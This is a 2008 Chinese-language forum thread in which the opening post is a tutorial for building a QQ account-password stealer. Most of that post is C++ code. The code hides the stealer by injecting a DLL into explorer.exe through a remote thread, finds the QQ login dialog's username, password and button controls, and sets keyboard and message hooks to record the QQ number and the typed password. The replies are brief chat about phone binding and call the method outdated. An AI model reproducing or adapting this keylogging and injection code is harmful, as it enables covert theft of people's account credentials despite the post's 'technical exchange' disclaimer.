桐城网

 找回密码
 我要注册

QQ登录

只需一步,快速开始

查看: 2758|回复: 8

QQ盗号核心编程

[复制链接]

40

主题

121

回帖

162

积分

文都秀才

Rank: 2

积分
162
鲜花(0) 鸡蛋(0)
发表于 2008-4-1 13:24:08 | 显示全部楼层 |阅读模式
<span id=replyContentArea2434>平台:windows xp sp2;<br />软件:QQ2005版。<br />申明:本文旨在技术交流。<br /><br />一。先讲几句废话:<br /><br />经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。<br /><br />对于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有点基础,感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。<br /><br />二。进入主题:<br /><br />想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。<br /><br />先讲一下思路:需要三个进程A,B,C;两个DLL。<br /><br />初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。<br /><br />进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。<br /><br />进程C为目标进程在这里也就是QQ.EXE。<br /><br />第一个DLL(InspectQQLandDlg.dll),远程线程的载体。<br /><br />第二个DLL(MyHook.dll),全局钩子函数的载体。<br /><br />现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。<br /><br />这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。<br /><br />1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单<br /><br />HANDLE hSnapshot ;<br />hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;<br />if ( hSnapshot == INVALID_HANDLE_VALUE)<br />{<br />return 0;<br />}<br /><br />string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名<br />PROCESSENTRY32 pe;<br />pe.dwSize = sizeof ( PROCESSENTRY32 );<br /><br />for( BOOL fOk = Process32First ( hSnapshot, &amp;pe ) ; fOk; fOk =<br />Process32Next( hSnapshot, &amp;pe ) )<br />{<br />if ( pe.szExeFile == lpName )<br />{ <br /><br />//取得宿主进程(EXPLORER.EXE)的句柄<br />HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,<br />false, pe.th32ProcessID ) ;<br /><br />//取得目标DLL的当前路径(路径可自由设置)<br />char szInspectDllPath[128] ;<br />GetCurrentDirectory ( 128, szInspectDllPath ) ; <br />strcat ( szInspectDllPath, "&#92;&#92;debug&#92;&#92;InspectQQLandDlg.dll" ) ;<br /><br />//申请存放文件名的空间<br />LPVOID pszInspectDllRemote ;<br />int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;<br />pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess, <br />NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ; <br /><br />//把dll文件名写入申请的空间<br />WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,<br />(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);<br /><br />//获取动态链接库函数地址<br />HMODULE hModule ;<br />hModule = GetModuleHandle ( "kernel32.DLL" ) ;<br />LPTHREAD_START_ROUTINE fnStartAddr ;<br />fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,<br />"LoadLibraryA" ) ;<br /><br />//创建远程线程<br />HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄<br />hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,<br />fnStartAddr, pszInspectDllRemote, 0, NULL ) ;<br /><br />if( hSnapshot != NULL )<br />CloseHandle ( hSnapshot ) ;//关闭进程快照<br /><br />CloseHandle ( hRemoteProcess ) ;<br />break ;<br />}<br />}<br /><br />2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。<br /><br />switch(fdwReason)<br />{ <br />case DLL_PROCESS_ATTACH:<br />{<br /><br />//下面这句会给你创建远程线程成功的提示。<br />MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;<br /><br />HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;<br /><br />break;<br />}<br />}<br /><br />在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。<br /><br />在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。<br /><br />关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。<br /><br />就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~<br /><br />其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />{<br />return false ;<br />}<br />char szWindowName[128] ;<br />ZeroMemory ( szWindowName, 128 ) ;<br />GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名<br /><br />if ( !strcmp ( szWindowClassName, "#32770" ) )<br />{<br /><br />__asm int 3 <br /><br />}<br /><br />return true ;<br />}<br /><br />利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)<br /><br />事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。<br /><br />#define UserNameComboBoxId 0x0000008A //用户名控件ID<br />#define PasswordEditId 0x000000B4 //密码控件ID <br />#define ButtonId 0x00003EA0 //登陆按扭控件ID<br />#define QQLandDlgMiniStyle 0x94CA00C4 //登陆对话框最小化时的风格<br />#define QQLandDlgShowStyle 0XB4CA00C4 //登陆对话框在桌面显示时的风格<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )<br />{<br />if ( !hwnd )<br />return false ;<br /><br />long style = GetWindowLong ( hwnd, GWL_STYLE ) ;<br />if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )<br />{<br />hQQLand = hwnd ;<br />EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;<br /><br />return false ;<br />}<br /><br />return true ;<br />}<br /><br />BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />return false ;<br /><br />//取得指定句柄的控件ID<br />long id= GetWindowLong ( hwnd, GWL_ID ) ;<br /><br />if (id == UserNameComboBoxId )<br />{<br />hUserName = hwnd ;<br />}<br /><br />else if ( id == PasswordEditId )<br />{<br />hPassword = hwnd ;<br />}<br /><br />else if ( id == ButtonId )<br />{<br />hLandButton = hwnd ;<br />}<br /><br />return true ;<br />}<br /><br />到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~<br /><br />在这里其实可以用<br /><br />SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />取得UserName(QQ号码),但不能取得密码。<br /><br />可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。<br /><br />现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。<br /><br />只需调用MyHook.dll的接口函数即可<br /><br />SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;<br /><br />3。MyHook.dll模块。<br /><br />EXPORT BOOL WINAPI SetHook ( HWND hQQLand,<br />HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) <br />{<br />if ( isInstall )<br />{<br />hQQLandDlg = hQQLand ;<br />hUserNameEdit = hUserName ;<br />hPasswordComboBox = hPassword ;<br />hButton = hLandButton ;<br /><br />DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;<br />hHookDll = GetModuleHandle ( "MyHook" ) ;<br /><br />hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, <br />(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;<br /><br />hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,<br />(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ; <br /><br />if ( hKeyboard != NULL &amp;&amp; hWndProc != NULL )<br />return true ;<br />}<br /><br />else<br />{<br />UnhookWindowsHookEx ( hKeyboard ) ;<br />UnhookWindowsHookEx ( hWndProc ) ;<br /><br />hHookDll = NULL ;<br />hKeyboard = NULL ;<br />hWndProc = NULL ; <br />ZeroMemory ( szPassword, 128 ) ;<br />pszPasswordLen = 0 ;<br />}<br /><br />return false ;<br />}<br /><br />这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。<br /><br />如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。<br /><br />这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。<br /><br />LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br /><br />//检测回车键是否被按下<br />if ( wParam == VK_RETURN &amp;&amp; lParam &gt; 0 )<br />{<br /><br />//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的<br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)<br /><br />//不要忘了变量还原(szUserName,szPassword)<br />}<br /><br />if ( lParam &gt; 0 &amp;&amp; wParam != VK_RETURN )<br />{<br />char KeyName[10] ;<br />ZeroMemory ( KeyName, 10 ) ;<br />GetKeyNameText ( lParam, KeyName, 10 ) ;<br /><br />if ( strlen ( KeyName ) == 1 )<br />{<br />strcat ( szPassword, KeyName ) ;<br />}<br />}<br /><br />return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;<br />}<br /><br />也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现<br /><br />LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br />CWPSTRUCT *p = (CWPSTRUCT*)lParam ;<br />if ( p-&gt;message == WM_COMMAND &amp;&amp; p-&gt;hwnd == hButton )<br />{//同理<br /><br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); <br /><br />//这里可添加如何处理密码的语句<br />}<br />return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;<br />}<br /><br /><br />上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。<br /></span>
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

24

主题

120

回帖

310

积分

文都秀才

Rank: 2

积分
310
QQ
鲜花(1) 鸡蛋(0)
发表于 2008-4-1 13:53:05 | 显示全部楼层
好的
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

103

主题

2013

回帖

2131

积分

桐网贡生

Rank: 3Rank: 3

积分
2131
QQ
鲜花(0) 鸡蛋(0)
发表于 2008-4-11 19:22:59 | 显示全部楼层
<span><blockquote><img src="images/icon-quote.gif" border=0 /> <b>chenxue:</b><br /><p><span><blockquote><img src="images/icon-quote.gif" border=0 /> <b>人间过客:</b><br />呵呵 和手机捆绑的 不怕盗...<img height=20 src="Images/Emoticons/14.gif" width=20 border=0 />&nbsp;盗号的人改不了我的密码</blockquote></span><p></p><p>呵呵!是吗?</p><p>你难道不怕别人登陆了你的QQ后,把你的手机绑定解除了?</p><p></p></blockquote><p></p><p>那密保还保啥呢?腾讯又不是傻子,修改,删除捆绑手机必须用手机接收到的随机码才可以解除的,除非你既盗了我的号,知道我的密保答案,又偷了我的手机,email。。。。才能彻底盗走我的号</span></p><p>[此帖子已被 人间过客 在 2008-4-12 10:54:45 编辑过]
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

0

主题

3

回帖

3

积分

文都童生

Rank: 1

积分
3
鲜花(0) 鸡蛋(0)
发表于 2008-4-13 09:01:04 | 显示全部楼层
在哪里抄来这些过时的东西
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

40

主题

121

回帖

162

积分

文都秀才

Rank: 2

积分
162
鲜花(0) 鸡蛋(0)
 楼主| 发表于 2008-4-13 12:15:58 | 显示全部楼层
<p><span><blockquote><img border=0 src=images/icon-quote.gif> <b>hao123:</b><br>在哪里抄来这些过时的东西</blockquote></span></p><p>技术确实是要与时俱进的,但我们还是要站在前人的基础之上的,千万别跟我说你生来就会最先进的技术!</p>
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

103

主题

2013

回帖

2131

积分

桐网贡生

Rank: 3Rank: 3

积分
2131
QQ
鲜花(0) 鸡蛋(0)
发表于 2008-4-3 10:46:12 | 显示全部楼层
呵呵 和手机捆绑的 不怕盗...<img height=20 src="Images/Emoticons/14.gif" width=20 border=0 />&nbsp;盗号的人改不了我的密码
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

103

主题

2013

回帖

2131

积分

桐网贡生

Rank: 3Rank: 3

积分
2131
QQ
鲜花(0) 鸡蛋(0)
发表于 2008-4-3 10:47:06 | 显示全部楼层
<p><span id=replyContentArea2434>平台:windows xp sp2;<br />软件:QQ2005版</span></p><p><span>?2005?....要与时俱进啊。。。</span></p>
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

40

主题

121

回帖

162

积分

文都秀才

Rank: 2

积分
162
鲜花(0) 鸡蛋(0)
 楼主| 发表于 2008-4-9 21:38:01 | 显示全部楼层
<p><span><blockquote><img border=0 src=images/icon-quote.gif> <b>人间过客:</b><br>呵呵 和手机捆绑的 不怕盗...<img height=20 src="Images/Emoticons/14.gif" width=20 border=0 />&nbsp;盗号的人改不了我的密码</blockquote></span></p><p>呵呵!是吗?</p><p>你难道不怕别人登陆了你的QQ后,把你的手机绑定解除了?</p>
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。

634

主题

1万

回帖

1万

积分

桐网进士

天使

Rank: 7Rank: 7Rank: 7

积分
15698
QQ
鲜花(0) 鸡蛋(0)
发表于 2008-4-10 17:44:22 | 显示全部楼层
<p>偶想还是算了</p><p>就用自己的号吧</p>
【分享精彩·网聚未来】 我骄傲,我是桐城人! 桐城网宗旨:弘扬主旋律,讴歌真善美,传播正能量,彰显精气神。
您需要登录后才可以回帖 登录 | 我要注册

本版积分规则

快速回复 返回顶部 返回列表